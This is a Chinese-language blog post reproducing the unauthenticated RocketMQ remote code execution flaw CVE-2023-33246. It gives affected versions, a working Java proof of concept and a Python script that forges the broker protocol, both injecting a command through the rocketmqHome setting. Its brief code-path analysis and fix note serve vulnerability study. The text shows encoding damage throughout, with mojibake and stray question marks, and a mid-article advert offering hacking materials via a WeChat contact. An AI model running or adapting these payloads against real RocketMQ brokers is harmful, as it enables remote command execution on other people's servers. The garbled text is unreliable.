漏洞簡(jiǎn)介
RocketMQ 5.1.0及以下版本,在一定條件下,存在遠(yuǎn)程命令執(zhí)行風(fēng)險(xiǎn)。RocketMQ的NameServer、Broker、Controller等多個(gè)組件外網(wǎng)泄露,缺乏權(quán)限驗(yàn)證,攻擊者可以利用該漏洞利用更新配置功能以RocketMQ運(yùn)行的系統(tǒng)用戶身份執(zhí)行命令。 此外,攻擊者可以通過偽造 RocketMQ 協(xié)議內(nèi)容來達(dá)到同樣的效果。
影響版本
5.0.0 <= Apache RocketMQ < 5.1.1
4.0.0 <= Apache RocketMQ < 4.9.6
安全版本
Apache RocketMQ 5.1.1
Apache RocketMQ 4.9.6
漏洞復(fù)現(xiàn)
在本地創(chuàng)建 maven 項(xiàng)目 并添加依賴
<dependencies> ?
<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
? ? ? ?<dependency>
? ? ? ? ? ?<groupId>org.apache.rocketmq</groupId>
? ? ? ? ? ?<artifactId>rocketmq-tools</artifactId>
? ? ? ? ? ?<version>5.1.0</version>
? ? ? ?</dependency>
</dependencies>
編寫漏洞利用代碼
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
?
import java.util.Properties;
?
public class poc1 {
? ?public static void main(String[] args) throws Exception {
? ? ? ?// 創(chuàng)建 Properties 對(duì)象
? ? ? ?Properties props = new Properties();
? ? ? ?//修改rocketmqHome配置
? ? ? ?props.setProperty("rocketmqHome","-c gnome-calculator test");
? ? ? ?props.setProperty("filterServerNums","1");
? ? ? ?// 創(chuàng)建 DefaultMQAdminExt 對(duì)象并啟動(dòng)
? ? ? ?DefaultMQAdminExt admin = new DefaultMQAdminExt();
? ? ? ?//此處為 namesrv 端口,此端口無需可訪問
? ? ? ?admin.setNamesrvAddr("192.168.222.130:9876");
? ? ? ?admin.start();
? ? ? ?// 更新配置?件
? ? ? ?//此處為 broker 端口,必須可訪問
? ? ? ?admin.updateBrokerConfig("192.168.222.130:10911", props);
? ? ? ?// 關(guān)閉 DefaultMQAdminExt 對(duì)象
? ? ? ?admin.shutdown();
? }
}
漏洞分析
?
?
?
?
我們看到真正有危險(xiǎn)的操作應(yīng)該是與 10911 進(jìn)行通信的操作,沒有進(jìn)行身份驗(yàn)證和加密傳輸,同時(shí)帶入了命令執(zhí)行的參數(shù)
org/apache/rocketmq/remoting/protocol/RequestCode.java
? code 代表調(diào)用不同的功能
org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest
?
??org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig
?
??org/apache/rocketmq/remoting/Configuration.java#update
?
?
如果屬性名是其內(nèi)置的,就進(jìn)行更新操作
【----幫助網(wǎng)安學(xué)習(xí),以下所有學(xué)習(xí)資料免費(fèi)領(lǐng)!加vx:yj009991,備注 “博客園” 獲??!】
① 網(wǎng)安學(xué)習(xí)成長(zhǎng)路徑思維導(dǎo)圖
?、?60+網(wǎng)安經(jīng)典常用工具包
③ 100+SRC漏洞分析報(bào)告
?、?150+網(wǎng)安攻防實(shí)戰(zhàn)技術(shù)電子書
?、?最權(quán)威CISSP 認(rèn)證考試指南+題庫
⑥ 超1800頁CTF實(shí)戰(zhàn)技巧手冊(cè)
?、?最新網(wǎng)安大廠面試題合集(含答案)
?、?APP客戶端安全檢測(cè)指南(安卓+IOS)
后面的一部分就比較清晰了
org/apache/rocketmq/broker/BrokerStartup.java#start
?
??org/apache/rocketmq/broker/BrokerController.java#start
?
??org/apache/rocketmq/broker/BrokerController.java#startBasicService
?
??org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start
?
根據(jù)從 Wireshark 中抓取的數(shù)據(jù)包 我們也可以構(gòu)造這樣的 payload 觸發(fā)漏洞
import socket
import binascii
client = socket.socket()
?
# you ip
client.connect(('192.168.222.130',10911))
?
# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) ? ? ? ? ? ? ? # 一個(gè)字節(jié)是2個(gè)十六進(jìn)制數(shù)
head1 = '00000000'+str(hex(json_lens))[2:] ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens) ? ?# 總長(zhǎng)度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 協(xié)議總長(zhǎng)度+json長(zhǎng)度+json+body
?
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
?
漏洞修復(fù)
移除了命令執(zhí)行的模塊?
? ? 更多網(wǎng)安技能的在線實(shí)操練習(xí),請(qǐng)點(diǎn)擊這里>>文章來源:http://www.zghlxwxcb.cn/news/detail-621281.html
?文章來源地址http://www.zghlxwxcb.cn/news/detail-621281.html
到了這里,關(guān)于Apache RocketMQ 遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2023-33246)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!